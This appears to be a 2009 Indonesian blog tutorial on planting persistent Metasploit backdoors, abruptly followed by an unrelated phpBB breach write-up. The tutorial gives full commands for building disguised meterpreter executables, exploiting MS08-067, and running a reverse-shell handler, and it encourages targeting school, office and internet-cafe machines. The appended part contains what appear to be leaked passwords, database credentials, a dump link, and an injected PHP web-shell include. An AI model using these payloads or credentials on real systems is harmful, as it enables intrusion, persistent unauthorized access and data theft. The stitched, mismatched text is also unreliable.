Metasploit: Backdooring
Sunday, February 22nd, 2009Mungkin sebagian sudah ada yang tahu bahwa metasploit dapat digunakan untuk membuat backdoor, pernah juga disinggung pada toket edisi new year 2009. Penggunaan backdoor ini sangat berguna terutama sebagai post-exploitation method. Pada contoh kali ini kita akan memanfaatkan 2 metode dasar mendapatkan shell dari target, yaitu bind_tcp dan reverse_tcp.
Untuk bind_tcp, backdoor akan dijalankan pada terget dimana target akan membuka port pada sistemnya sendiri. Sehingga setelah proses exploitasi selesai, kita dapat masuk kapan saja ke target dengan memanfaatkan port yang telah dibuka oleh backdoor tersebut.
$ ./msfpayload windows/meterpreter/bind_tcp LPORT=4321 RHOST=10.10.96.143 EXITFUNC=thread X > MicrosoftDS.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/bind_tcp
Length: 307
Options: LPORT=4321,RHOST=10.10.96.143,EXITFUNC=thread
Backdoor tersebut akan membuka port 4321 pada target 10.10.96.143. Bagaimana proses menjalankan backdoor tersebut terserah kita, bisa jadi backdoor ditanam dan dijalankan setelah proses exploitasi selesai terhadap target seperti berikut:
msf exploit(ms08_067_netapi) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:English
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 3 opened (10.10.97.14:31338 -> 10.10.96.143:4780)
meterpreter > cd \
meterpreter > pwd
C:\
meterpreter > upload MicrosoftDS.exe
[*] uploading : MicrosoftDS.exe -> MicrosoftDS.exe
[*] uploaded : MicrosoftDS.exe -> MicrosoftDS.exe
meterpreter > execute -f MicrosoftDS.exe -H
Process 2348 created.
Pada saat berikutnya, kita dapat masuk ke mesin target tanpa melakukan exploitasi ulang, cukup dengan membuka koneksi pada port yang telah didefinisikan berikutnya.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set LPORT 4321
LPORT => 4321
msf exploit(handler) > set RHOST 10.10.96.143
RHOST => 10.10.96.143
msf exploit(handler) > exploit
[*] Starting the payload handler...
[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 2 opened (10.10.97.14:58798 -> 10.10.96.143:4321)
meterpreter >
Metode kedua menggunakan reverse shell, reverse shell digunakan terutama apabila network target dibatasi oleh firewall sehingga tidak bisa membuka koneksi ke semua port (tipikal internal network). Jadi jika kalian mendapatkan kesempatan untuk hacking ke salah satu mesin dalam internal network (misal: komputer sekolah, komputer kantor, komputer warnet, etc) serta tetap ingin mendapatkan akses shell tersebut kapanpun dan dimanapun bisa memanfaatkan multi-handler metasploit untuk menerima reverse shell. Kita bisa setup multi-handler di mesin-mesin yang dapat diakses dari manapun di internet, misalnya: mesin hosting, atau mesin server hasil rampokan, dsb.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set LPORT 53
LPORT => 53
msf exploit(handler) > set LHOST 222.124.199.76
LHOST => 222.124.199.76
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
Selanjutnya tinggal buat backdoor dengan kategori reverse_shell:
$ ./msfpayload windows/meterpreter/reverse_tcp LPORT=53 LHOST=222.124.199.76 EXITFUNC=thread X > MicrosoftDS.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 278
Options: LPORT=53,LHOST=222.124.199.76,EXITFUNC=thread
$ file MicrosoftDS.exe
MicrosoftDS.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Dan ketika dijalankan (dijalankan melalui sesi pasca exploitasi ataupun dijalankan secara manual lewat double-click mouse 
), pada multi-handler akan muncul:
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 3 opened (222.124.199.76:53 -> 10.10.96.143:4831)
meterpreter >
Asyiknya menggunakan multi-handler metasploit adalah kita dapat memiliki banyak sessions sekaligus, untuk contoh diatas dapat dilihat satu multi-handler yang telah diset ExitOnSession==false dapat menghandle banyak reverse_shell sekaligus. Dan kita dapat berinteraksi dengan session-session tersebut kapanpun kita mau:
msf exploit(handler) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
3 Meterpreter 222.124.199.76:53 -> 10.10.96.146:4831
4 Meterpreter 222.124.199.76:53 -> 10.10.96.223:4836
5 Meterpreter 222.124.199.76:53 -> 10.10.96.215:4838
6 Meterpreter 222.124.199.76:53 -> 172.16.96.143:4840
7 Meterpreter 222.124.199.76:53 -> 172.16.96.143:4845
8 Meterpreter 222.124.199.76:53 -> 172.16.96.143:4846
9 Meterpreter 222.124.199.76:53 -> 172.16.96.143:4847
msf exploit(handler) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > sysinfo
Computer: PROGWAR
OS : Windows XP (Build 2600, ).
Itulah beberapa contoh pemanfaatan metasploit untuk backdooring, masih banyak contoh-contoh kreatif lainnya terutama yang berbau kiddies dan evil-in-mind. Oh iya, pada contoh diatas saya menggunakan payload meterpreter berkali-kali. Pembahasan tentang meterpreter akan dilakukan berikutnya.
Stay tuned *heh, serasa pembawa acara opera sabun*
.
edit by dhn: added website-commits
edit by tm: added phpbb-honey-commits, st--tool-commits, iit-track-commits.
8kg;rt7Xykjq
That password should work for all mailing lists on code.phpbb.com.
Emergency contacts and irc info:
http://hackedphpbb.pastebin.com/f1399b3e8
And then I remembered that the admin panel allows you to dump tables. So I dumped the users table which is accessible here:
http://rapidshare.com/files/192261517/backup_sql.gz
Next I enabled php in template files and added this bit of code to one of the templates:
$ip=$_SERVER['REMOTE_ADDR']; if($ip == "x.x.x.x"){include("/home/virtual/phpbb.com/community/files/(myid)_82ec9f9eb80df2a16cc3638429631c9f");}
Which happened to be a shell, R57shell actually. I then searched for a writable directory and created a php file and wrote the source code to that file. I cleaned up the template and settings and logs and left the forums to run the way they were.
After searching around using the shell I came across the Blog settings:
define('DB_NAME', 'wordpress'); // The name of the database
define('DB_USER', 'blog'); // Your MySQL username
define('DB_PASSWORD', 'htsCCvyCnt5jPYMx'); // ...and password
define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
And now it comes to an end, you may ask why did I do this? For fun mainly, but what I would like to suggest to the team at phpbb is this. If you are going to run third party scripts, either integrate them or keep up to date on their patches. (even though the patch wasn’t released for 2 weeks). Also don’t allow admin’s to recover their passwords, they should have to contact another admin. Another item, doesn’t keep plain text files of passwords or in the database plain text passwords.
I know this isn’t the best read, but it is very hard to look back on everything you did over the course of a few weeks. But hopefully I can now sleep better knowing that I am not worrying about the next way to break in.
-----------------------------------UPDATE
to all that say i am a script kiddie, fuck you
phpbb, i did not alter any files on your server, everything i gained access to has been listed in this blog
--------------------------update
here are some updated links
http://www.2shared.com/file/4785295/67200bd7/phpbb.html
when i was talking about encrypted passwords, i ment when it was stored in PHPlist in plain text
.